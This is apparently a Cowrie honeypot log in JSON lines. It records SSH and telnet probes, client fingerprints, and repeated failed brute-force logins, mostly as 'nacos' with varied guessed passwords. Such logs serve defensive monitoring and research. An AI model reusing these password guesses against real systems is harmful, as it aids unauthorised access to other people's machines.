{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:02.875917Z","src_ip":"36.253.9.69","session":"bcf89306300f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e537c35a060","protocol":"telnet","message":"New connection: 192.211.53.160:39418 (159.203.135.109:23) [session: 5e537c35a060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:03.736320Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"abc@123","message":"login attempt [nacos/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:03.907736Z","src_ip":"36.253.9.69","session":"bcf89306300f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:05.150237Z","src_ip":"36.253.9.69","session":"bcf89306300f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":46566,"dst_ip":"10.17.0.5","dst_port":22,"session":"309333d067b8","protocol":"ssh","message":"New connection: 36.253.9.69:46566 (10.17.0.5:22) [session: 309333d067b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:05.382567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:05.392681Z","src_ip":"36.253.9.69","session":"309333d067b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:05.629152Z","src_ip":"36.253.9.69","session":"309333d067b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1qaz@WSX3edc","message":"login attempt [nacos/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:06.667148Z","src_ip":"36.253.9.69","session":"309333d067b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:07.905936Z","src_ip":"36.253.9.69","session":"309333d067b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":54560,"dst_ip":"10.17.0.5","dst_port":22,"session":"33bc3a1aba90","protocol":"ssh","message":"New connection: 36.253.9.69:54560 (10.17.0.5:22) [session: 33bc3a1aba90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:08.136654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:08.144015Z","src_ip":"36.253.9.69","session":"33bc3a1aba90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:08.377364Z","src_ip":"36.253.9.69","session":"33bc3a1aba90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58730,"dst_ip":"159.203.135.109","dst_port":23,"session":"db154f368242","protocol":"telnet","message":"New connection: 38.60.198.128:58730 (159.203.135.109:23) [session: db154f368242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:09.024531Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50480,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec5648768eb0","protocol":"telnet","message":"New connection: 38.54.119.93:50480 (10.17.0.5:23) [session: ec5648768eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:09.104351Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Asdf3.14","message":"login attempt [nacos/Asdf3.14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:09.378475Z","src_ip":"36.253.9.69","session":"33bc3a1aba90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:10.614045Z","src_ip":"36.253.9.69","session":"33bc3a1aba90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.97415852546692,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:10.731214Z","src_ip":"38.60.198.128","session":"18f1b41f9408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":54576,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a005cacbbe","protocol":"ssh","message":"New connection: 36.253.9.69:54576 (10.17.0.5:22) [session: 58a005cacbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:10.856892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:10.861949Z","src_ip":"36.253.9.69","session":"58a005cacbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:11.110909Z","src_ip":"36.253.9.69","session":"58a005cacbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.412461280822754,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:11.482029Z","src_ip":"38.60.198.128","session":"d401389abe1d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"3edc$RFV","message":"login attempt [nacos/3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:12.181336Z","src_ip":"36.253.9.69","session":"58a005cacbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:13.433198Z","src_ip":"36.253.9.69","session":"58a005cacbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36664,"dst_ip":"159.203.135.109","dst_port":23,"session":"92a5d49cff5c","protocol":"telnet","message":"New connection: 38.60.198.128:36664 (159.203.135.109:23) [session: 92a5d49cff5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:13.484604Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":54580,"dst_ip":"10.17.0.5","dst_port":22,"session":"4adc1f94e36d","protocol":"ssh","message":"New connection: 36.253.9.69:54580 (10.17.0.5:22) [session: 4adc1f94e36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:13.657626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:13.666609Z","src_ip":"36.253.9.69","session":"4adc1f94e36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:13.896338Z","src_ip":"36.253.9.69","session":"4adc1f94e36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.38050413131714,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:14.725992Z","src_ip":"38.60.198.128","session":"5442e6db0c6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"njccs7","message":"login attempt [nacos/njccs7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:14.884060Z","src_ip":"36.253.9.69","session":"4adc1f94e36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.635112047195435,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:15.522075Z","src_ip":"38.60.198.128","session":"6076ea52c4ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:16.136714Z","src_ip":"36.253.9.69","session":"4adc1f94e36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":54596,"dst_ip":"10.17.0.5","dst_port":22,"session":"16bdccb6f2f5","protocol":"ssh","message":"New connection: 36.253.9.69:54596 (10.17.0.5:22) [session: 16bdccb6f2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:16.343766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:16.349714Z","src_ip":"36.253.9.69","session":"16bdccb6f2f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:16.570322Z","src_ip":"36.253.9.69","session":"16bdccb6f2f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"I2KPwdD4","message":"login attempt [nacos/I2KPwdD4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:17.521962Z","src_ip":"36.253.9.69","session":"16bdccb6f2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.784395456314087,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:17.888429Z","src_ip":"38.54.119.93","session":"ec5648768eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:18.744668Z","src_ip":"36.253.9.69","session":"16bdccb6f2f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42870,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f92f4dd815c","protocol":"ssh","message":"New connection: 36.253.9.69:42870 (10.17.0.5:22) [session: 6f92f4dd815c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:18.992623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:18.997685Z","src_ip":"36.253.9.69","session":"6f92f4dd815c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:19.243506Z","src_ip":"36.253.9.69","session":"6f92f4dd815c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":34604,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff4e8d77a715","protocol":"ssh","message":"New connection: 191.101.59.69:34604 (159.203.135.109:22) [session: ff4e8d77a715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:19.391468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:19.513839Z","src_ip":"191.101.59.69","session":"ff4e8d77a715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:19.692532Z","src_ip":"191.101.59.69","session":"ff4e8d77a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"asd1234567@","message":"login attempt [nacos/asd1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:20.275309Z","src_ip":"36.253.9.69","session":"6f92f4dd815c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2233","message":"login attempt [ubuntu/2233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:20.309269Z","src_ip":"191.101.59.69","session":"ff4e8d77a715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36948,"dst_ip":"159.203.135.109","dst_port":23,"session":"1720e042cfdf","protocol":"telnet","message":"New connection: 38.60.198.128:36948 (159.203.135.109:23) [session: 1720e042cfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:20.879600Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:21.407740Z","src_ip":"191.101.59.69","session":"ff4e8d77a715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:21.518083Z","src_ip":"36.253.9.69","session":"6f92f4dd815c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42880,"dst_ip":"10.17.0.5","dst_port":22,"session":"de4d29843b43","protocol":"ssh","message":"New connection: 36.253.9.69:42880 (10.17.0.5:22) [session: de4d29843b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:21.757372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:21.762276Z","src_ip":"36.253.9.69","session":"de4d29843b43","protocol":"ssh"}
